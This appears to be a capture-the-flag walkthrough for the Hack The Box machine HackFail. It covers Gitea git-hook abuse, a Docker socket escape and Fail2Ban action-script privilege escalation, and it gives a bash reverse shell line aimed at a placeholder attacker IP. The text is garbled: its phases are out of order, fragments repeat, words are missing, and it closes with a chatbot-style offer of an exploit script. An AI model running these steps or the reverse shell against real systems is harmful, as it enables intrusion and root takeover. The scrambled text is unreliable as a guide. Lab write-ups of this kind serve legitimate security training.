Hackfail.htb [verified] -

Navigating to the IP address on port 80 reveals a custom web application. Further directory busting or clicking through links often reveals a development sub-domain or a linked service. In the case of HackFail, you will encounter a instance, a self-hosted Git service popular among developers. 🏗️ Phase 2: Initial Access (Exploiting Gitea)

Always keep Gitea and other web services patched to the latest version.

HackFail HTB: A Comprehensive Walkthrough HackFail is an Easy-rated Linux machine on Hack The Box that emphasizes the importance of secure coding practices and proper configuration of development environments. It provides an excellent playground for learning about Gitea vulnerabilities, Docker escapes, and exploiting misconfigured automation tools. 🔍 Phase 1: Reconnaissance & Enumeration hackfail.htb

If /var/run/docker.sock is accessible, you can use it to spawn a new container that mounts the host's root filesystem. 👑 Phase 4: Privilege Escalation to Root

Browse through public repositories. Look for configuration files (like .env or config.php ) that might contain secrets. Exploit Git Hooks: If you find a repository you can edit: Navigate to Settings > Git Hooks . Edit the pre-receive or post-update hook. Navigating to the IP address on port 80

Insert a bash reverse shell payload: bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1 . Push a dummy commit to trigger the hook. 🐳 Phase 3: Lateral Movement & Docker

On HackFail, the path to root often involves , an intrusion prevention framework. If a user has write access to the Fail2Ban configuration or its custom action scripts, they can achieve code execution as root. Locate Action Scripts: Check /etc/fail2ban/action.d/ . 🏗️ Phase 2: Initial Access (Exploiting Gitea) Always

If you'd like to dive deeper into any of these steps, I can provide: The used for initial discovery. A Python script to automate the Gitea hook exploit. The Fail2Ban configuration details for the root exploit.

Disable Git hooks for non-admin users in Gitea's app.ini .

Check /mnt or other unusual directories for files belonging to the host system.